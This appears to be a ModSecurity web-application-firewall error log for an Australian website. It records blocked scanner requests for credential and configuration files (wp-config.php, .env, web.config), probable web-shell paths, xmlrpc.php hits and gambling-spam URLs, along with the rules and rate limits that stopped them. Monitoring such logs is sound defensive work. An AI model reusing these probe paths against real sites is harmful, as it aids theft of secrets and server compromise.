[Fri Jan 30 15:00:57.614256 2026] [:error] [pid 47021:tid 47027] [client 196.89.178.90:57733] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php"] [unique_id "aXxXKdap1k13UdZUNST7YwAAAMQ"], referer: https://www.reddit.com/r/worldnews/comments/def789/headline/?utm_source=share&utm_medium=web2x
[Fri Jan 30 15:01:16.731323 2026] [:error] [pid 24681:tid 24704] [client 196.89.178.90:64123] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php"] [unique_id "aXxXPIE368IXQpahn0JHBQAAARU"], referer: https://www.wolframalpha.com/input?i=population+of+japan
[Fri Jan 30 15:01:32.942891 2026] [:error] [pid 47663:tid 47685] [client 196.89.178.90:57659] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/config.ini"] [unique_id "aXxXTEHGTrgIKCqEYbVg0AAAAlQ"], referer: https://www.quora.com/How-do-I-make-pizza-dough
[Fri Jan 30 15:01:33.492407 2026] [:error] [pid 47663:tid 47681] [client 196.89.178.90:57659] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/Web.config" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web.config"] [unique_id "aXxXTUHGTrgIKCqEYbVg0gAAAlA"], referer: https://www.quora.com/search?q=best+books+to+read+2026
[Fri Jan 30 15:01:35.140699 2026] [:error] [pid 47663:tid 47669] [client 196.89.178.90:54619] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/app.config"] [unique_id "aXxXT0HGTrgIKCqEYbVg1QAAAkQ"], referer: https://stackoverflow.com/
[Fri Jan 30 15:02:15.235662 2026] [:error] [pid 24711:tid 24728] [client 196.89.178.90:53875] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aXxXd65Gwh4var6T23Ig7QAAAU4"], referer: https://gitlab.com/explore/projects?sort=latest_activity_desc
[Fri Jan 30 15:02:16.123797 2026] [:error] [pid 38686:tid 38706] [client 196.89.178.90:53535] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aXxXeAoE8BAjgw1_sAUsVwAAAdA"], referer: https://www.linkedin.com/
[Fri Jan 30 16:02:21.475331 2026] [:error] [pid 24711:tid 24716] [client 43.153.67.21:40464] [client 43.153.67.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXxlja5Gwh4var6T23I2KwAAAUI"]
[Fri Jan 30 17:45:16.146932 2026] [:error] [pid 38686:tid 38694] [client 183.207.45.110:22545] [client 183.207.45.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.207.45.110, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aXx9rAoE8BAjgw1_sAVJDwAAAcQ"]
[Fri Jan 30 17:48:03.154316 2026] [:error] [pid 46914:tid 46987] [client 182.42.105.85:56028] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXx-U1gSfJ4kZxNKlb-YWwAAAIk"]
[Fri Jan 30 19:39:21.759689 2026] [:error] [pid 47021:tid 47041] [client 74.248.24.238:33834] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sst.php"] [unique_id "aXyYadap1k13UdZUNSQ2kQAAANI"]
[Fri Jan 30 19:39:23.784650 2026] [:error] [pid 46914:tid 46994] [client 74.248.24.238:25662] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sst.php"] [unique_id "aXyYa1gSfJ4kZxNKlb-0aQAAAJA"]
[Fri Jan 30 19:39:26.897706 2026] [:error] [pid 38686:tid 38695] [client 74.248.24.238:17928] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sst.php"] [unique_id "aXyYbgoE8BAjgw1_sAVbRQAAAcU"]
[Fri Jan 30 19:39:28.353955 2026] [:error] [pid 24681:tid 24707] [client 74.248.24.238:9133] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sst.php"] [unique_id "aXyYcIE368IXQpahn0Jz7wAAARg"]
[Fri Jan 30 19:39:30.837873 2026] [:error] [pid 24711:tid 24721] [client 74.248.24.238:8817] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/easy.php"] [unique_id "aXyYcq5Gwh4var6T23J9BAAAAUc"]
[Fri Jan 30 19:39:41.485319 2026] [:error] [pid 24681:tid 24692] [client 74.248.24.238:44192] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/easy.php"] [unique_id "aXyYfYE368IXQpahn0Jz9AAAAQk"]
[Fri Jan 30 19:39:43.507032 2026] [:error] [pid 24711:tid 24722] [client 74.248.24.238:23783] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/easy.php"] [unique_id "aXyYf65Gwh4var6T23J9DwAAAUg"]
[Fri Jan 30 19:39:47.672326 2026] [:error] [pid 24711:tid 24714] [client 74.248.24.238:32630] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-rss4.php"] [unique_id "aXyYg65Gwh4var6T23J9EgAAAUA"]
[Fri Jan 30 19:40:04.105159 2026] [:error] [pid 38686:tid 38690] [client 74.248.24.238:23751] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nlvbr.php"] [unique_id "aXyYlAoE8BAjgw1_sAVbTgAAAcA"]
[Fri Jan 30 19:40:06.228371 2026] [:error] [pid 47021:tid 47031] [client 74.248.24.238:19947] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nlvbr.php"] [unique_id "aXyYltap1k13UdZUNSQ2qAAAAMg"]
[Fri Jan 30 19:40:09.182915 2026] [:error] [pid 46914:tid 46981] [client 74.248.24.238:12581] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nlvbr.php"] [unique_id "aXyYmVgSfJ4kZxNKlb-0lQAAAIM"]
[Fri Jan 30 19:40:11.052181 2026] [:error] [pid 24712:tid 24742] [client 74.248.24.238:34387] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nlvbr.php"] [unique_id "aXyYm4RLQrFiQF3h9-s3PQAAAYE"]
[Fri Jan 30 19:40:12.759377 2026] [:error] [pid 24711:tid 24716] [client 74.248.24.238:13091] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aXyYnK5Gwh4var6T23J9SgAAAUI"]
[Fri Jan 30 19:40:13.952626 2026] [:error] [pid 24712:tid 24766] [client 74.248.24.238:12605] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aXyYnYRLQrFiQF3h9-s3PwAAAZg"]
[Fri Jan 30 19:41:55.416811 2026] [:error] [pid 24711:tid 24723] [client 74.248.24.238:26311] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rrhbdzdz.php"] [unique_id "aXyZA65Gwh4var6T23J9uAAAAUk"]
[Fri Jan 30 19:41:58.411823 2026] [:error] [pid 24711:tid 24736] [client 74.248.24.238:19302] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rrhbdzdz.php"] [unique_id "aXyZBq5Gwh4var6T23J9vQAAAVY"]
[Fri Jan 30 19:42:01.553308 2026] [:error] [pid 47021:tid 47042] [client 74.248.24.238:38272] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rrhbdzdz.php"] [unique_id "aXyZCdap1k13UdZUNSQ3EQAAANM"]
[Fri Jan 30 19:42:04.390328 2026] [:error] [pid 24712:tid 24753] [client 74.248.24.238:9024] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rrhbdzdz.php"] [unique_id "aXyZDIRLQrFiQF3h9-s3tAAAAYw"]
[Fri Jan 30 19:42:06.896924 2026] [:error] [pid 46913:tid 46972] [client 74.248.24.238:38309] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aXyZDjMWmKL8hOfC3uTCiAAAAFU"]
[Fri Jan 30 19:42:09.190001 2026] [:error] [pid 46914:tid 46979] [client 74.248.24.238:25710] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aXyZEVgSfJ4kZxNKlb-1EgAAAIE"]
[Fri Jan 30 19:42:12.690669 2026] [:error] [pid 38686:tid 38697] [client 74.248.24.238:12669] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aXyZFAoE8BAjgw1_sAVbqQAAAcc"]
[Fri Jan 30 19:42:14.080969 2026] [:error] [pid 38686:tid 38692] [client 74.248.24.238:8846] [client 74.248.24.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/000.php"] [unique_id "aXyZFgoE8BAjgw1_sAVbrwAAAcI"]
[Fri Jan 30 20:21:00.699048 2026] [:error] [pid 24681:tid 24696] [client 147.135.212.202:37310] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aXyiLIE368IXQpahn0J6PAAAAQ0"]
[Fri Jan 30 20:21:04.144901 2026] [:error] [pid 47663:tid 47687] [client 147.135.212.202:41824] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aXyiMEHGTrgIKCqEYbWSaAAAAlY"]
[Fri Jan 30 20:21:07.242830 2026] [:error] [pid 24711:tid 24715] [client 147.135.212.202:40946] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aXyiM65Gwh4var6T23KKyQAAAUE"]
[Fri Jan 30 20:21:10.635811 2026] [:error] [pid 46912:tid 46943] [client 147.135.212.202:40960] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aXyiNj6yiVW7A9NwFFna_AAAABM"]
[Fri Jan 30 20:21:14.150269 2026] [:error] [pid 47021:tid 47037] [client 147.135.212.202:40974] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aXyiOtap1k13UdZUNSQ_GQAAAM4"]
[Fri Jan 30 20:21:17.278137 2026] [:error] [pid 24712:tid 24751] [client 147.135.212.202:54938] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aXyiPYRLQrFiQF3h9-tA5AAAAYo"]
[Fri Jan 30 20:21:20.124377 2026] [:error] [pid 38980:tid 38999] [client 147.135.212.202:54950] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aXyiQLYByxUZEaKXdHqdKwAAAgw"]
[Fri Jan 30 20:21:22.846510 2026] [:error] [pid 38686:tid 38703] [client 147.135.212.202:54960] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aXyiQgoE8BAjgw1_sAViFwAAAc0"]
[Fri Jan 30 20:21:25.832183 2026] [:error] [pid 24711:tid 24734] [client 147.135.212.202:54968] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXyiRa5Gwh4var6T23KK3wAAAVQ"]
[Fri Jan 30 20:21:29.004082 2026] [:error] [pid 24712:tid 24745] [client 147.135.212.202:51086] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aXyiSYRLQrFiQF3h9-tA8AAAAYQ"]
[Fri Jan 30 20:21:31.758706 2026] [:error] [pid 46912:tid 46934] [client 147.135.212.202:51088] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aXyiSz6yiVW7A9NwFFnbEwAAAAo"]
[Fri Jan 30 20:21:34.548174 2026] [:error] [pid 46912:tid 46927] [client 147.135.212.202:51096] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXyiTj6yiVW7A9NwFFnbFQAAAAM"]
[Fri Jan 30 20:21:37.321316 2026] [:error] [pid 24681:tid 24699] [client 147.135.212.202:41322] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aXyiUYE368IXQpahn0J6TAAAARA"]
[Fri Jan 30 20:21:40.489060 2026] [:error] [pid 46912:tid 46948] [client 147.135.212.202:41334] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aXyiVD6yiVW7A9NwFFnbGQAAABg"]
[Fri Jan 30 20:21:43.292134 2026] [:error] [pid 38980:tid 38993] [client 147.135.212.202:41344] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aXyiV7YByxUZEaKXdHqdRQAAAgY"]
[Fri Jan 30 20:21:46.302102 2026] [:error] [pid 46912:tid 46944] [client 147.135.212.202:46268] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aXyiWj6yiVW7A9NwFFnbHgAAABQ"]
[Fri Jan 30 20:21:49.380830 2026] [:error] [pid 46913:tid 46960] [client 147.135.212.202:46282] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aXyiXTMWmKL8hOfC3uTIsQAAAEk"]
[Fri Jan 30 20:21:52.585189 2026] [:error] [pid 46913:tid 46975] [client 147.135.212.202:46298] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aXyiYDMWmKL8hOfC3uTIuQAAAFg"]
[Fri Jan 30 20:32:47.668800 2026] [:error] [pid 24711:tid 24732] [client 43.130.15.147:42010] [client 43.130.15.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aXyk765Gwh4var6T23KOvgAAAVI"]
[Fri Jan 30 21:04:57.500127 2026] [:error] [pid 24711:tid 24719] [client 217.182.139.33:58052] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aXysea5Gwh4var6T23KYjgAAAUU"]
[Fri Jan 30 21:05:00.605499 2026] [:error] [pid 38686:tid 38708] [client 217.182.139.33:40900] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aXysfAoE8BAjgw1_sAVoggAAAdI"]
[Fri Jan 30 21:05:03.425496 2026] [:error] [pid 46914:tid 46978] [client 217.182.139.33:40908] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aXysf1gSfJ4kZxNKlb_JHwAAAIA"]
